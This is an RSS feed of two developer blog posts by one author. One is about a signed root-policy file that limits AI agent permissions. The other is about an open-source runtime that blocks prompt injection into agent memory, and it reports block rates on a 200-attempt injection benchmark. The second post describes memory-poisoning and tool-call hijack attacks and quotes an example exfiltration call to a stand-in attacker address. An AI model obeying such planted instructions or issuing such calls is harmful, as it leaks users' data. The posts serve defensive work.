<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Bryan Small</title>
    <description>The latest articles on DEV Community by Bryan Small (@bryansmall).</description>
    <link>https://dev.to/bryansmall</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2847124%2Fa6154d77-4130-432b-8f71-162807b39020.png</url>
      <title>DEV Community: Bryan Small</title>
      <link>https://dev.to/bryansmall</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bryansmall"/>
    <language>en</language>
    <item>
      <title>Your AI can change. Your boundaries shouldn't.</title>
      <dc:creator>Bryan Small</dc:creator>
      <pubDate>Thu, 13 Aug 2026 11:34:12 +0000</pubDate>
      <link>https://dev.to/bryansmall/your-ai-can-change-your-boundaries-shouldnt-14g7</link>
      <guid>https://dev.to/bryansmall/your-ai-can-change-your-boundaries-shouldnt-14g7</guid>
      <description>&lt;p&gt;I keep seeing the same gap in the agent-tooling space.&lt;/p&gt;

&lt;p&gt;We're building systems that hand AI agents &lt;em&gt;more&lt;/em&gt; permission — OAuth grants, delegation receipts, scope tokens, child-agent chains. Every layer answers the same question: &lt;strong&gt;what may the agent do?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Almost nobody is answering the question that actually protects you: &lt;strong&gt;what must it never do — no matter what?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's the gap SovereignRoot sits in. It's a working protocol for a portable, cryptographically signed &lt;code&gt;sovereignty.json&lt;/code&gt;: a human-owned root constraint policy that sits &lt;em&gt;above&lt;/em&gt; your agents, your models, your vendors, your prompts and your delegation chains.&lt;/p&gt;

&lt;p&gt;The invariant&lt;/p&gt;

&lt;p&gt;Effective authority = delegated authority ∩ SovereignRoot allowed authority&lt;/p&gt;

&lt;p&gt;Decision precedence:&lt;/p&gt;

&lt;p&gt;DENY &amp;gt; REQUIRE_APPROVAL &amp;gt; ALLOW&lt;/p&gt;

&lt;p&gt;A downstream grant — an OAuth token, a child-agent credential, a system prompt, retrieved memory, an operator instruction — can &lt;strong&gt;never&lt;/strong&gt; override a root deny. SovereignRoot is a ceiling, not a grant.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this is a separate layer
&lt;/h2&gt;

&lt;p&gt;Agent authorization systems focus on identity, delegation and scopes. That's good and necessary. But they're all per-task or per-vendor.&lt;/p&gt;

&lt;p&gt;A root policy outlives all of it. It survives:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;model changes (swap GPT for Llama tomorrow)&lt;/li&gt;
&lt;li&gt;vendor changes&lt;/li&gt;
&lt;li&gt;task grants&lt;/li&gt;
&lt;li&gt;OAuth tokens&lt;/li&gt;
&lt;li&gt;prompts and conversations&lt;/li&gt;
&lt;li&gt;child-agent trees&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your boundary is &lt;em&gt;yours&lt;/em&gt; — not tied to whichever model or platform you happen to be running today.&lt;/p&gt;

&lt;p&gt;The honest part you should care about&lt;/p&gt;

&lt;p&gt;I'm not going to oversell this. A signed policy file does &lt;strong&gt;not&lt;/strong&gt; force a non-conforming AI to obey it. If a runtime ignores the file, or an agent bypasses the enforcement point, the policy is &lt;strong&gt;advisory&lt;/strong&gt;, not hard enforcement.&lt;/p&gt;

&lt;p&gt;Hard enforcement exists only when a trusted component the agent can't bypass verifies the signed root and evaluates the action &lt;strong&gt;before&lt;/strong&gt; it executes.&lt;/p&gt;

&lt;p&gt;That's the difference between a policy that's decoration and a policy that's a boundary. SovereignRoot gives you the portable, signed, verifiable root. It doesn't pretend to be the enforcement point itself.&lt;/p&gt;

&lt;p&gt;The crypto, properly done&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Local ECDSA P-256 key generation (Web Crypto)&lt;/li&gt;
&lt;li&gt;RFC 8785 JSON canonicalization before hashing&lt;/li&gt;
&lt;li&gt;SHA-256 payload digest&lt;/li&gt;
&lt;li&gt;RFC 7638 / RFC 9278 JWK-thumbprint signing identity&lt;/li&gt;
&lt;li&gt;Encrypted private-key export (PBKDF2 + AES-256-GCM)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything runs in your browser. Nothing leaves your device. No account, no upload, no cookies, no analytics, no backend.&lt;/p&gt;

&lt;p&gt;What it ships with&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a guided policy generator with four presets (Balanced / Strict / Developer / Lockdown)&lt;/li&gt;
&lt;li&gt;a drag-and-drop signature verifier (trust the signature, not the website)&lt;/li&gt;
&lt;li&gt;a working specification&lt;/li&gt;
&lt;li&gt;a JSON Schema&lt;/li&gt;
&lt;li&gt;a reference verifier and policy engine&lt;/li&gt;
&lt;li&gt;full docs and a test suite&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All under Apache 2.0.&lt;/p&gt;

&lt;p&gt;Try it&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Generate your root policy:&lt;/strong&gt; &lt;a href="https://sovereignroot.pages.dev" rel="noopener noreferrer"&gt;sovereignroot.pages.dev&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Read the spec:&lt;/strong&gt; &lt;a href="https://github.com/BryanFiFife/SovereignRoot" rel="noopener noreferrer"&gt;github.com/BryanFiFife/SovereignRoot&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's a working draft — not an IETF, W3C or NIST standard. That's intentional and honest. If you build agent tooling, I'd genuinely value your eyes on the spec and the enforcement-model questions in it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;SovereignRoot is a technical policy format, not legal advice or a guarantee of AI safety. Keep secrets — passwords, keys, tokens — out of your &lt;code&gt;sovereignty.json&lt;/code&gt;; it's a policy document, not a secret store.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>agents</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Building an agent-security runtime — and why I published my failures</title>
      <dc:creator>Bryan Small</dc:creator>
      <pubDate>Tue, 11 Aug 2026 16:24:13 +0000</pubDate>
      <link>https://dev.to/bryansmall/building-an-agent-security-runtime-and-why-i-published-my-failures-1koe</link>
      <guid>https://dev.to/bryansmall/building-an-agent-security-runtime-and-why-i-published-my-failures-1koe</guid>
      <description>&lt;p&gt;I built a local, open-source runtime that sits between an autonomous AI agent and its memory, and interdicts unsafe action before it executes. This is the story of what I found when I actually tested it — and why I published the results.&lt;/p&gt;

&lt;p&gt;👉 Live product: &lt;a href="https://agentinterdict.pages.dev/" rel="noopener noreferrer"&gt;agentinterdict.pages.dev&lt;/a&gt; · Code: &lt;a href="https://github.com/BryanFiFife/AgentInterdict" rel="noopener noreferrer"&gt;github.com/BryanFiFife/AgentInterdict&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚨 The problem nobody was fixing&lt;/p&gt;

&lt;p&gt;Autonomous agents persist memory. That memory is a prime attack surface. A single poisoned document, a single malicious email, a single compromised web page can plant an instruction your agent will obey without question. The industry is racing to give agents &lt;strong&gt;more memory, more tools, and more autonomy&lt;/strong&gt;. Almost nobody is securing the boundary where &lt;strong&gt;context becomes action&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;One document.&lt;/strong&gt;&lt;br&gt;
If you run an agent with memory and tools and no enforcement layer, you are &lt;strong&gt;one malicious document away from a breach&lt;/strong&gt;. Not "maybe." One document.&lt;/p&gt;

&lt;p&gt;💡 The core insight: retrieval is not permission&lt;/p&gt;

&lt;p&gt;Most agent architectures treat retrieved context as trusted. That's the vulnerability. Reading a memory does not authorize acting on it.&lt;/p&gt;

&lt;p&gt;So I built a runtime that enforces &lt;strong&gt;six invariants&lt;/strong&gt; at the boundary where context becomes action:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Invariant&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;🧬 Origin-bound authority&lt;/td&gt;
&lt;td&gt;Derived content can never outrank its source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🚫 No derivation amp&lt;/td&gt;
&lt;td&gt;You can't launder authority by summarizing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔑 Retrieval ≠ permission&lt;/td&gt;
&lt;td&gt;Recalled context can't authorize high-risk action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;⏱️ Action-time re-scoring&lt;/td&gt;
&lt;td&gt;Risk is re-evaluated at action, not just write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🔒 Credentials-not-memory&lt;/td&gt;
&lt;td&gt;Secret-shaped content never reaches long-term memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;🛡️ Fail-closed tampering&lt;/td&gt;
&lt;td&gt;Any tampering flips the runtime to lockdown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;INGEST → TRUST → MEMORY → AUTHORITY → INTERDICT → EXECUTE&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;🧪 I tested it. Here's what happened.&lt;/p&gt;

&lt;p&gt;I ran a fixed suite of &lt;strong&gt;200 real injection attempts&lt;/strong&gt; through the enforcement engine. This is the part that changed how I think about security marketing.&lt;/p&gt;

&lt;p&gt;🔴 &lt;strong&gt;First run: 49.5% block rate.&lt;/strong&gt;&lt;br&gt;
Direct injection caught 74%, obfuscated 70%, multi-turn 54% — and &lt;strong&gt;tool-call hijack was 0%&lt;/strong&gt;. The structured calls like &lt;code&gt;send_email(to='attacker@evil.io')&lt;/code&gt; sailed right through.&lt;/p&gt;

&lt;p&gt;I could have stopped there and published a different number. I didn't.&lt;/p&gt;

&lt;p&gt;📊 What the benchmark taught me&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tool-call hijack: 0% → 100%&lt;/strong&gt; — patterns for exfiltration, credential arguments, and dangerous shell commands&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-turn: 54% → 96%&lt;/strong&gt; — detection for instruction overrides across a conversation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Obfuscation: 70% → 94%&lt;/strong&gt; — letter-spaced and encoded-payload detection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Direct injection: 74% → 96%&lt;/strong&gt; — tightened override and credential-disclosure patterns&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Final result: 96.5% block rate. 7 documented misses.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack category&lt;/th&gt;
&lt;th&gt;Attempts&lt;/th&gt;
&lt;th&gt;Blocked&lt;/th&gt;
&lt;th&gt;Rate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Direct injection&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Obfuscated / encoded&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;94%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multi-turn / split&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tool-call hijack&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;200&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;193&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;96.5%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;🛡️ &lt;strong&gt;I don't claim 99.9%. I publish the misses.&lt;/strong&gt;&lt;br&gt;
I publish the &lt;strong&gt;7 misses with their payloads&lt;/strong&gt; so anyone can reproduce and assess them. A security tool that hides its misses isn't trustworthy. If I told you 99.9% and it was really 96.5%, the tool would be lying to you — and a security tool that lies is worse than no tool at all.&lt;/p&gt;

&lt;p&gt;🎯 Why I'm publishing this&lt;/p&gt;

&lt;p&gt;Security is the one domain where honesty isn't a nice-to-have, it's the product. A firewall that claims to block everything and blocks 90% is a liability — you make decisions based on a number that isn't real.&lt;/p&gt;

&lt;p&gt;By publishing the misses, I'm saying: &lt;em&gt;here's what the tool actually does, here's where it's weak, you decide if that's acceptable for your threat model.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;🚀 Where things stand&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;96.5%&lt;/strong&gt; block rate · &lt;strong&gt;7 documented misses&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;78&lt;/strong&gt; passing tests on the enforcement invariants&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Local-first&lt;/strong&gt; — no cloud, no telemetry, no exfiltration by construction&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Integrations&lt;/strong&gt; — Hermes, OpenClaw, MCP, REST&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;CLI&lt;/strong&gt; — &lt;code&gt;interdict status / audit / policy / test&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's open-source and free for personal/research use. The core that keeps your agent safe shouldn't be a paywall.&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;See it live:&lt;/strong&gt; &lt;a href="https://agentinterdict.pages.dev/" rel="noopener noreferrer"&gt;agentinterdict.pages.dev&lt;/a&gt; · &lt;a href="https://github.com/BryanFiFife/AgentInterdict" rel="noopener noreferrer"&gt;github.com/BryanFiFife/AgentInterdict&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;💬 What attack vectors am I missing?&lt;/p&gt;

&lt;p&gt;I built this because I believe agent memory is an under-secured attack surface, and I want the community to pressure-test that belief. The &lt;strong&gt;7 misses are the gaps I care about most.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're building agents, running local LLMs, or thinking about this from a security perspective — I want the hard cases. Open an issue on &lt;a href="https://github.com/BryanFiFife/AgentInterdict" rel="noopener noreferrer"&gt;the repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;🔐 Trust context. Verify authority. Interdict unsafe action.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>llm</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
